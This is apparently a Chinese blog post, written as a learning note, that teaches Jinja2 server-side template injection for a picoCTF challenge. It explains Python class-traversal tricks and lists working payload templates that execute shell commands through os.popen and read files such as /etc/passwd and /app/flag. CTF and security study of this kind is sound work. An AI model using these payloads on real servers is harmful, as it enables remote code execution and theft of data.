之前比赛遇到SSTI,是大概了解原理的,但是没怎么去系统学习过,现在开始刷picoctf的题,遇到了入门的ssti,那就正好趁这次机会学习一下,学习资源取自:SSTI注入 - Hello CTF
SSTI也叫模板注入,就是我们给服务器传递一个数据A,服务器把数据A渲染到页面里去,至于为什么会出现漏洞,是因为可以传给服务器一个表达式,如{{7*7}},服务器就会执行,然后把49输出到页面里去,那这个表达式换成执行命令,读取文件,就是我们需要去做的,当然SSTI不止Jinja2一种,不过大多数遇到的是Jinja,所以这里也通过Jinjia学习
前置知识

是的,看到这个图里面的wp,给当时第一次接触的小小老子一个很大的震惊,这都啥玩意,这玩意怎么弄出来的?更别说那种通过特定方式,比如字符串截取什么的绕过过滤的,当时就是一整个蒙蔽,看不懂。这里我就直接用hello-ctf里的东西了,本人技艺拙劣,就不写代码什么的了。
1 2 3 4 5 6 7 8 9 10
| class O: pass
class B(O): pass class A(B): pass
class F(O): def read_file(self, file_name): pass
class G(O): def exec(self, command): pass
|
首先看这里,我们都能明白,假如我们现在有一个对象A,那我们要读取文件或者执行命令,是不是就是想办法转到F或者G,那如何转到F或者G?
就有了以下这些方法
1 2 3 4 5 6 7 8 9 10
| >>>print(A.__class__) <class '__main__.A'> >>> print(A.__class__.__base__) <class '__main__.B'> >>> print(A.__class__.__base__.__base__) <class '__main__.O'> >>>print(A.__class__.__mro__) (<class '__main__.A'>, <class '__main__.B'>, <class '__main__.O'>, <class 'object'>) >>>print(A.__class__.__base__.__base__.__subclasses__()) [<class '__main__.B'>, <class '__main__.F'>, <class '__main__.G'>]
|
然后要知道python中所有的对象,都继承自基类Object

这也是为什么通常wp中别人的payload大部分是'',{},[]开头了
1 2 3 4 5
| __class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
|
通过这些魔术方法就可以去找到基类,拿到基类之后就是去寻找子类,那拿什么子类,自然是可以让我们读取文件或者执行命令的子类

这里解释一下常用的魔术方法
1 2 3
| __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取函数所处空间下可使用的module、方法以及所有变量。 __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.
|
然后在使用eval的时候要注意,eval是一个内置函数,所以无法通过__globals__['eval']来直接调用,在函数内部访问内置函数如eval,或内置对象如os,需要通过__builtins__来访问
{{().__class__.__base__.__subclasses__()[194].__init__.__globals__.__builtins__['eval']('__import__("os").popen("ls /").read()')}}
以下是常见命令执行构造模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| x[NUM].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')
x[NUM].__init__.__globals__['os'].popen('ls /').read()
x[NUM].__init__.__globals__['popen']('ls /').read()
x[NUM]["load_module"]("os")["popen"]("ls /").read()
x[NUM].__init__.__globals__['linecache']['os'].popen('ls /').read()
x[NUM]('ls /',shell=True,stdout=-1).communicate()[0].strip()
|
以下是文件读取类
由于python2中的file类在python3中去掉了,所以只有fileloader算真正意义上的原生文件读取
1 2 3 4 5 6 7 8 9 10 11 12
| [].__class__.__bases__[0].__subclasses__()[NUM]["get_data"](0,"/etc/passwd") - codecs模块 x[NUM].__init__.__globals__['__builtins__'].eval("__import__('codecs').open('/app/flag').read()")
- pathlib模块 x[NUM].__init__.__globals__['__builtins__'].eval("__import__('pathlib').Path('/app/flag').read_text()")
- io模块 x[NUM].__init__.__globals__['__builtins__'].eval("__import__('io').open('/app/flag').read()")
- open函数 x[NUM].__init__.__globals__['__builtins__'].eval("open('/app/flag').read()")
|
实际演示
这里就用pico的ssti1来实际手动演示一下,首先拿到基类,然后列出所有子类

这个时候这么多烟花缭乱的,我们咋知道那个可以拿着去执行命令?当然积累了经验的可以直接去搜对应的,没经验的可以通过自动payload找,或者直接给ai分析

还有一种办法是模板语法:

模板语法示例如下:

这里我们用脚本找一下:

然后发现eval

然后使用内置函数

然后就是读取flag了
